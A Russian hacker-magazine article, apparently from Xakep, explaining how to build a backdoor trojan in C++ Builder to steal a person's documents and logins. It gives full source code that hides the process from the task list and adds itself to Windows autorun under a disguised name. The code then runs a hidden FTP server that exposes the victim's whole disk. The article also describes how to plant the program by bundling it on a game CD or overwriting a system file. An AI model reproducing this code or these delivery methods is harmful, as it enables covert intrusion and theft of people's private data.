“Бойтесь данайцев, дары
подносящих…”
Ахилл, админ города Троя.

Привет, перец! Сегодня расскажу тебе, как
поступить с челом, который зажимает от тебя
свои секреты (доки разные, login & password от
халявного инета и т.д.), да и вообще, не
выполняет принцип "Начал мычать — давай
молоко" 🙂

Сразу напрашивается мысль — превратить весь
хард его компа в FTP, для чего тебе
понадобятся:

1) C++ Builder (если привык писать на Западло++) или
Delphi (aka Pascal)

2) Интернет-компоненты от Francois PIETTE (халявный
download): http://sme.belgium.eu.net/~vip107/ics.zip.
Компоненты полезны сами по себе: тут есть
почти всё, от PING’a до MIME Decode. И в последующих
заподлянках я собираюсь их юзать по полной —
так что затаривайся их исходниками, пока
буржуи добрые 🙂 

3) Эта статья 🙂

4) Немного его доверчивости/жадности.

Итак, качаешь компоненты из инета (они
халявные) и инсталишь их в палитру
компонентов C++Builder или Delphi (хелп по
установке к ним прилагается). Создаёшь
новый проект (“File->New Application”) и размещаешь
на морде окна твоей проги компонент FtpServer.
Файл Unit1.cpp привожу в масштабе 1:1 (для С++ Builder).
Если надумал писать на Дельфях — тут я тебе
не советчик…

//——
#include <vcl.h>
#include <vcl/registry.hpp> // Для работы с реестром
#pragma hdrstop

#include "Unit1.h"
#include <winbase.h>
//——
#pragma package(smart_init)
#pragma link "FtpSrv"
#pragma resource "*.dfm"
TForm1 *Form1;
//——
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//——
void __fastcall TForm1::FormPaint(TObject *Sender)
{
/* Прячем программу из списка задач,
того самого, который видно по Ctrl+Alt+Del */

// Объявляем тип функции и указатель на неё
typedef int (CALLBACK* lpfn)(int, int);
lpfn func;
// Заимствуем у ядра функцию регистрации
сервисного процесса
HINSTANCE hDLL = LoadLibrary("kernel32.dll");
func = (lpfn)GetProcAddress(hDLL,"RegisterServiceProcess");
// Раз — и в списке задач проги нет 🙂
func(GetCurrentProcessId(),1);
// Прячем окно проги с глаз долой
Hide(); 

/* Прописываем новый софт в автозагрузку 🙂 */

TRegistry *Reg = new TRegistry;
Reg->RootKey = HKEY_CURRENT_USER;
if(Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",true))
Reg->WriteString("Winoldap","\"" + ParamStr(0) +
"\"");
Reg->CloseKey();
delete Reg;

/* Пробуем включить сервак */

try
{
// Строка отклика FTP клиенту
// Которым ты, кул хацкер, будешь потрошить
машину врага
// И по которой определишь — успешно ли
внедрилась твоя прога
FtpServer1->Banner="220 Приветики, потрошитель
:)";
// Максимальное число подсоединений
// Чем больше, тем лучше (хочется скачивать,
закачивать
// и удалять — и всё сразу 🙂
FtpServer1->MaxClients=999;
// Порт — лучше не оставлять по умолчанию
// Если враг умный и смог настроить
// свой FTP на 21 порту — твоя прога просто не
запустится
FtpServer1->Port="65555";
// Поехали !!!
FtpServer1->Start();
}

/* Если не получается (например, порт уже
занят) — выход */

catch(…)
{
Close();
}
}
//——
void __fastcall TForm1::FtpServer1Authenticate(TObject *Sender,
TFtpCtrlSocket *Client, TFtpString &UserName, TFtpString &Password,
bool &Authenticated)
{
AnsiString user="user"; // Ваш желаемый LOGIN
AnsiString pass="password"; // Ваш желаемый ПАРОЛЬ
:)))

/* А чтобы всякие ламеры, которые насканят
этот порт,
не мешались — делаем аутенификацию */

if(AnsiString(UserName)!=user && AnsiString(Password)!=pass)
Client->SendStr("421 Отдохни, ламер.\r\n");
}
//——

Остальные файлы проекта остаются такими же,
как и были.

Прога прячется от дульки (Ctrl+Alt+Del) в Win98,
регистрируя свой процесс как “сервисный”.
Выследить и убить её можно, только запустив
какой-нибудь софт, который просматривает
все процессы в системе.

Achtung! Если его комп пашет под Win2000 или WinNT, то
из исходника надо выдрать кусок, где прога
прячется из списка задач, т.е. прописывает
себя как Service (только оставь функцию Hide(); ).
По непонятным причинам в списке задач по
этими типами виндов её и так не видно, чего
не скажешь о списке процессов (над этим
сейчас и работаю 🙂 

Ну вот, <Ctrl>+<F9>, немцы — в Немеции,
венцы — в Венеции: прога откомпилена и
готова к употреблению (советую её сжать EXE-архиватором
ASPack — будет весть кил 200 или около того).
Теперь остаётся её красиво вручить… 

Варианты:
1) Если он ламерOK — приносишь, прячешь куда-нибудь
далеко в каталогах его винды и запускаешь (пока
он вышел по Reset в ту…). 

1а) Делаешь красочный компакт с игрой (не
твоей) и прогой (твоей). Прога — в
автозагрузке копирует в винду и запускает
твою прогу, затем запускает собственно
инсталяк игры.

2) Если же он ламерCANCEL и, прикинувшись
Буратиной, полезет искать в реестре золотой
ключик автозапуска … фиг Вам, как говорил
мой друг индеец Winнету — он обломится, если
ты скопируешь свою прогу (предварительно
убрав из исходника пропись в реестр) поверх
C:\WINDOWS\scanregw.exe, например.

P.S. Есть ещё призрачная возможность
спрятать прогу и из процессов (процессы,
порождённые процессами — не видны. Пример —
все DLL, которые юзаются какой-нибудь прогой
🙂 Но об этом — в следующий раз.

1 комментарий

  1. 26.10.2014 at 10:56

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…